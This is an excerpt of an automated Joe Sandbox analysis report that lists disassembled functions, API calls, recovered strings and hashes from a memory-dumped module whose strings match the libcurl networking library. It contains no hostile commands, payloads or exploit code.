                                                                                                                                      • Instruction Fuzzy Hash: 7C02F275D04664DBEF219F249C40B9A7BB4AF41738F0841E8DC5CAF202DB399A45DFA1
                                                                                                                                      Function 6BDADCD0 Relevance: 28.4, APIs: 4, Strings: 12, Instructions: 417COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_multi_remove_handle.LIBCURL(?,?,?,00000000,00000000), ref: 6BDADD78
                                                                                                                                        • Part of subcall function 6BDB05D0: curl_mvsnprintf.LIBCURL(?,00000100,6BDAC830,?), ref: 6BDB0610
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_multi_remove_handlecurl_mvsnprintf
                                                                                                                                      • String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code$V4u`Y5up"5u
                                                                                                                                      • API String ID: 262101408-2869934189
                                                                                                                                      • Opcode ID: b045c107d9a1330f4d06a1915c72400f90c2e5b6a72a797399bd9f27508853ac
                                                                                                                                      • Instruction ID: 7b9f99b5cc9985d9c2d7c0145d4b7477a4ea8211f20308e3e4f318bf5ff5cbb4
                                                                                                                                      • Opcode Fuzzy Hash: b045c107d9a1330f4d06a1915c72400f90c2e5b6a72a797399bd9f27508853ac
                                                                                                                                      • Instruction Fuzzy Hash: 49F1BFB1D002249FDB209F24DC85BAAB7B8FF48324F1141E9D84CAB241D7399E85DFA1
                                                                                                                                      Function 6BDC0A40 Relevance: 19.7, APIs: 5, Strings: 6, Instructions: 455COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: %%25%s]$%ld$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$file$file://%s%s%s$https
                                                                                                                                      • API String ID: 0-1832275178
                                                                                                                                      • Opcode ID: 9493d19fda7a4f5e3b343509cc3ce668d785eac4848a0c3fcbe2f7e420b3a9fe
                                                                                                                                      • Instruction ID: 62ed3ddefbb07fa56e6110a02eed1af310d373d44147fb11da320dac631ad0f0
                                                                                                                                      • Opcode Fuzzy Hash: 9493d19fda7a4f5e3b343509cc3ce668d785eac4848a0c3fcbe2f7e420b3a9fe
                                                                                                                                      • Instruction Fuzzy Hash: 8EF1E5B5A00609DFDB10CF68D8417ABB7FAEF453A4F1000A9E859AF340D739E905DB62
                                                                                                                                      Function 6BD8F950 Relevance: 14.3, Strings: 11, Instructions: 519COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: ACCT rejected by server: %03d$AUTH %s$CCC$Entry path is '%s'$Failed to clear the command channel (CCC)$Failed to figure out path$Got a %03d ftp-server response when 220 was expected$PROT %c$SYST$We got a 421 - timeout!$unsupported parameter to CURLOPT_FTPSSLAUTH: %d
                                                                                                                                      • API String ID: 0-547999808
                                                                                                                                      • Opcode ID: 58711b2a852b0b3bf6b8cada32c29103f4a09b3d0100496938d5e3f02de37ef7
                                                                                                                                      • Instruction ID: 4ff5d3f607a235d9da7891474af524519bd018375155db717b4698fa2797f13a
                                                                                                                                      • Opcode Fuzzy Hash: 58711b2a852b0b3bf6b8cada32c29103f4a09b3d0100496938d5e3f02de37ef7
                                                                                                                                      • Instruction Fuzzy Hash: F4F1E775B001089FDB10CB68D8517AEB7B6EF85375F1404FAD84E8F241DB3A5A498BA1
                                                                                                                                      Function 6BD87730 Relevance: 12.9, Strings: 10, Instructions: 382COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: alnum$alpha$blank$digit$graph$lower$print$space$upper$xdigit
                                                                                                                                      • API String ID: 0-2602438971
                                                                                                                                      • Opcode ID: 730f1494eebce95e1e48859f4ffeab8a69c3e9cb7c3a98ac362f9394653f053f
                                                                                                                                      • Instruction ID: a18452325079bfdeba14aabfc627457a0b788809f76654e068c641e14c8cec4f
                                                                                                                                      • Opcode Fuzzy Hash: 730f1494eebce95e1e48859f4ffeab8a69c3e9cb7c3a98ac362f9394653f053f
                                                                                                                                      • Instruction Fuzzy Hash: 98C1E622B4C149AAC701CB7898917FA7BB7DF56379F5900E6C889CF342D71B9A08D361
                                                                                                                                      Function 6BDA20A0 Relevance: 10.6, APIs: 7, Instructions: 60encryptionCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 6BDA20C3
                                                                                                                                      • CryptCreateHash.ADVAPI32(00000000,00008002,00000000,00000000,00000000), ref: 6BDA20DD
                                                                                                                                      • CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 6BDA20F7
                                                                                                                                      • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 6BDA2111
                                                                                                                                      • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000010,00000000), ref: 6BDA212B
                                                                                                                                      • CryptDestroyHash.ADVAPI32(00000000), ref: 6BDA2139
                                                                                                                                      • CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 6BDA2149
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3606780921-0
                                                                                                                                      • Opcode ID: 0d21f99a221b7cdd3ea9dfdfe941922f584c4d813c5f55e70e78ee2bc93123cd
                                                                                                                                      • Instruction ID: bb50634a79f448e0c0778b17a3769bf9cc298e3189014f6dcbfce2be4135c098
                                                                                                                                      • Opcode Fuzzy Hash: 0d21f99a221b7cdd3ea9dfdfe941922f584c4d813c5f55e70e78ee2bc93123cd
                                                                                                                                      • Instruction Fuzzy Hash: 5D111670A40308FBFF209F91CC8AF9DBB78EB05714F1040A0BA14BA1D4D7B5BA15AB65
                                                                                                                                      Function 6BD88010 Relevance: 9.1, APIs: 6, Instructions: 118encryptionCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040,?), ref: 6BD8803A
                                                                                                                                      • CryptImportKey.ADVAPI32(?,00000208,00000014,00000000,00000000,?,?,?), ref: 6BD880E9
                                                                                                                                      • CryptReleaseContext.ADVAPI32(?,00000000,?), ref: 6BD880F8
                                                                                                                                      • CryptEncrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000008,00000008,?), ref: 6BD8812D
                                                                                                                                      • CryptDestroyKey.ADVAPI32(?), ref: 6BD88136
                                                                                                                                      • CryptReleaseContext.ADVAPI32(?,00000000), ref: 6BD88141
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Crypt$Context$Release$AcquireDestroyEncryptImport
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3016261861-0
                                                                                                                                      • Opcode ID: 5425a689dbc604ec0e022a530db321d1836e588951d613220355df551df3dd40
                                                                                                                                      • Instruction ID: 7f62870c8ad2598f95cfb40d499d5963ff1533aac3a4f617799bb6bb0007b206
                                                                                                                                      • Opcode Fuzzy Hash: 5425a689dbc604ec0e022a530db321d1836e588951d613220355df551df3dd40
                                                                                                                                      • Instruction Fuzzy Hash: 70418435900249AFEF11CFA8CC46BEEBFB5EF1B700F105095D5A86B291C776660ADB60
                                                                                                                                      Function 6BDAA790 Relevance: 8.0, Strings: 6, Instructions: 501COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$+$<$GMT
                                                                                                                                      • API String ID: 0-3646017816
                                                                                                                                      • Opcode ID: 333b38f6c4f2ce662c3fc5789468075b5f0c3505eed64da62c936a08c52b0764
                                                                                                                                      • Instruction ID: 2cb5cd80be8fc21cbb5d08d7abdeb71cd8516ccdf674e2208e5331aa0cbbe5ac
                                                                                                                                      • Opcode Fuzzy Hash: 333b38f6c4f2ce662c3fc5789468075b5f0c3505eed64da62c936a08c52b0764
                                                                                                                                      • Instruction Fuzzy Hash: 9902B371E001089BCF08CFB8D8916DDB7B6AF89334F15836AE469EF290D73899459B60
                                                                                                                                      Function 6BDDEFE1 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6BDDF0D9
                                                                                                                                      • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6BDDF0E3
                                                                                                                                      • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 6BDDF0F0
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3906539128-0
                                                                                                                                      • Opcode ID: 8140d84d1bf90320508b62054eb65ee4424130596acca09d45e9236e7fd11c41
                                                                                                                                      • Instruction ID: d2964433258a8ce5a33c6e36a4afda55ebfc6641f51294e2e38e92ea2368ce3c
                                                                                                                                      • Opcode Fuzzy Hash: 8140d84d1bf90320508b62054eb65ee4424130596acca09d45e9236e7fd11c41
                                                                                                                                      • Instruction Fuzzy Hash: 5731D67495131CDBCB21DF24D98978DBBB8BF08320F5045DAE41CAB250E7349B818F55
                                                                                                                                      Function 6BDDC43E Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetCurrentProcess.KERNEL32(?,?,6BDDC43D,?,00000000,?,?,?,6BDD84AA), ref: 6BDDC460
                                                                                                                                      • TerminateProcess.KERNEL32(00000000,?,6BDDC43D,?,00000000,?,?,?,6BDD84AA), ref: 6BDDC467
                                                                                                                                      • ExitProcess.KERNEL32 ref: 6BDDC479
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Process$CurrentExitTerminate
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1703294689-0
                                                                                                                                      • Opcode ID: c3502337e4539bb96fe73e754e27004367c56e277254db116db2387d2a51381f
                                                                                                                                      • Instruction ID: 958596e079b37a5b829049dabc885ccf4c538f9aa8ed71e5cfe5c59178fb00e1
                                                                                                                                      • Opcode Fuzzy Hash: c3502337e4539bb96fe73e754e27004367c56e277254db116db2387d2a51381f
                                                                                                                                      • Instruction Fuzzy Hash: CDE0EC31140209EFDF026F64C999F98BB79EB45B65F044414F8598E171CB39FA82DB90
                                                                                                                                      Function 6BDA1170 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 218COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000005,%lx,00000000,?,?), ref: 6BDA12F9
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintf
                                                                                                                                      • String ID: %lx
                                                                                                                                      • API String ID: 1809024409-1448181948
                                                                                                                                      • Opcode ID: c111093ae1bd63d30ffafdcbf8dea019f3b1733c682ec6a9b68766b90d282461
                                                                                                                                      • Instruction ID: 43ddb63877d51ebc8d28163c4353782227699e868c4c21c420fe49374721dad8
                                                                                                                                      • Opcode Fuzzy Hash: c111093ae1bd63d30ffafdcbf8dea019f3b1733c682ec6a9b68766b90d282461
                                                                                                                                      • Instruction Fuzzy Hash: 6571E532E045658BCB108F7CC4906ADB7A2EF87334F1543A9D469DF6C4E7399A4A8780
                                                                                                                                      Function 6BDDBCF0 Relevance: 1.8, APIs: 1, Instructions: 274COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?), ref: 6BDDBF1D
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ExceptionRaise
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3997070919-0
                                                                                                                                      • Opcode ID: e36eaa5757a080b23bcc992c5906d7de7b0318953b76d0ebb5d4e2cc46a7b54e
                                                                                                                                      • Instruction ID: 383368db4d5b4af62a6a4979da96736e8e9070d5ef417b7c3ffb4ee3dc84451e
                                                                                                                                      • Opcode Fuzzy Hash: e36eaa5757a080b23bcc992c5906d7de7b0318953b76d0ebb5d4e2cc46a7b54e
                                                                                                                                      • Instruction Fuzzy Hash: 2DB10535610608DFD715CF28C486B657BA0FF45368F258698E9E9CF2E1C73AE992CB40
                                                                                                                                      Function 6BDDFBD1 Relevance: 1.3, Strings: 1, Instructions: 23COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: GetSystemTimePreciseAsFileTime
                                                                                                                                      • API String ID: 0-595813830
                                                                                                                                      • Opcode ID: 4cc48ac87a82bede17175f82e7f8d90b56a2e9c57d8807126af05f0c086de00a
                                                                                                                                      • Instruction ID: 673ffc67f5cfc1e27bba524d4eda9e4a9bd7cf9cadad7b21f6ba7151f4310efa
                                                                                                                                      • Opcode Fuzzy Hash: 4cc48ac87a82bede17175f82e7f8d90b56a2e9c57d8807126af05f0c086de00a
                                                                                                                                      • Instruction Fuzzy Hash: F0E02B33984B2473C71123D55C04FADBBA8CB606F2F028262FE485D240853EA853C7F0
                                                                                                                                      Function 6BD87380 Relevance: .0, Instructions: 42COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID:
                                                                                                                                      • Opcode ID: 9c68a8d4a0846ebc4b09b0a145e38f1195cbc43887bcb385cbd8187a09426d5f
                                                                                                                                      • Instruction ID: fe2c6641aa6a0caab9285b98eadcdca16715ac4dcc3d2149bcd0a6826d0e5dde
                                                                                                                                      • Opcode Fuzzy Hash: 9c68a8d4a0846ebc4b09b0a145e38f1195cbc43887bcb385cbd8187a09426d5f
                                                                                                                                      • Instruction Fuzzy Hash: 19F0B422102D2057DF12552D60C16F3A78BCBD6925AA16061989C475D1865F340FD2D4
                                                                                                                                      Function 6BDE1C01 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID:
                                                                                                                                      • Opcode ID: f24c9c46262d23ec0b753b88de3e3c1e445ebfc2cafafc896c0ae8289ab2ec2b
                                                                                                                                      • Instruction ID: 697e3847117522958ec92b974d695530eb0cbee2e1c079ca16e645f01707e693
                                                                                                                                      • Opcode Fuzzy Hash: f24c9c46262d23ec0b753b88de3e3c1e445ebfc2cafafc896c0ae8289ab2ec2b
                                                                                                                                      • Instruction Fuzzy Hash: 4DE08C72A11638EBCB10CB99C940A9AF3ECEB44B24B154496F511D7100D274DF00C7E0
                                                                                                                                      Function 6BDB9A80 Relevance: 161.3, APIs: 7, Strings: 85, Instructions: 272COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetLastError.KERNEL32(6BDB8609,00000000,6BDB7A04), ref: 6BDB9A9F
                                                                                                                                      Strings
                                                                                                                                      • SEC_E_KDC_INVALID_REQUEST, xrefs: 6BDB9C1C
                                                                                                                                      • SEC_E_KDC_CERT_EXPIRED, xrefs: 6BDB9C08
                                                                                                                                      • SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 6BDB9D70
                                                                                                                                      • SEC_I_COMPLETE_NEEDED, xrefs: 6BDB9E45
                                                                                                                                      • SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 6BDB9B5E
                                                                                                                                      • SEC_E_OUT_OF_SEQUENCE, xrefs: 6BDB9CC6
                                                                                                                                      • SEC_E_ENCRYPT_FAILURE, xrefs: 6BDB9B9A
                                                                                                                                      • SEC_E_UNKNOWN_CREDENTIALS, xrefs: 6BDB9D7A
                                                                                                                                      • SEC_E_TIME_SKEW, xrefs: 6BDB9D5C
                                                                                                                                      • SEC_I_COMPLETE_AND_CONTINUE, xrefs: 6BDB9E3E
                                                                                                                                      • SEC_I_RENEGOTIATE, xrefs: 6BDB9E68
                                                                                                                                      • SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 6BDB9D34
                                                                                                                                      • SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 6BDB9E88
                                                                                                                                      • SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 6BDB9D2A
                                                                                                                                      • SEC_E_MULTIPLE_ACCOUNTS, xrefs: 6BDB9C58
                                                                                                                                      • SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 6BDB9BFE
                                                                                                                                      • SEC_E_REVOCATION_OFFLINE_C, xrefs: 6BDB9CF8
                                                                                                                                      • SEC_E_NO_TGT_REPLY, xrefs: 6BDB9CBC
                                                                                                                                      • SEC_E_ILLEGAL_MESSAGE, xrefs: 6BDB9BA4
                                                                                                                                      • SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 6BDB9D48
                                                                                                                                      • SEC_E_NO_IP_ADDRESSES, xrefs: 6BDB9C94
                                                                                                                                      • SEC_E_BAD_PKGID, xrefs: 6BDB9B0E
                                                                                                                                      • %s - %s, xrefs: 6BDB9DF5
                                                                                                                                      • SEC_E_CERT_EXPIRED, xrefs: 6BDB9B36
                                                                                                                                      • SEC_E_TOO_MANY_PRINCIPALS, xrefs: 6BDB9D66
                                                                                                                                      • SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 6BDB9CD0
                                                                                                                                      • SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 6BDB9C76
                                                                                                                                      • SEC_I_SIGNATURE_NEEDED, xrefs: 6BDB9E6F
                                                                                                                                      • SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 6BDB9D3E
                                                                                                                                      • SEC_E_DELEGATION_REQUIRED, xrefs: 6BDB9B86
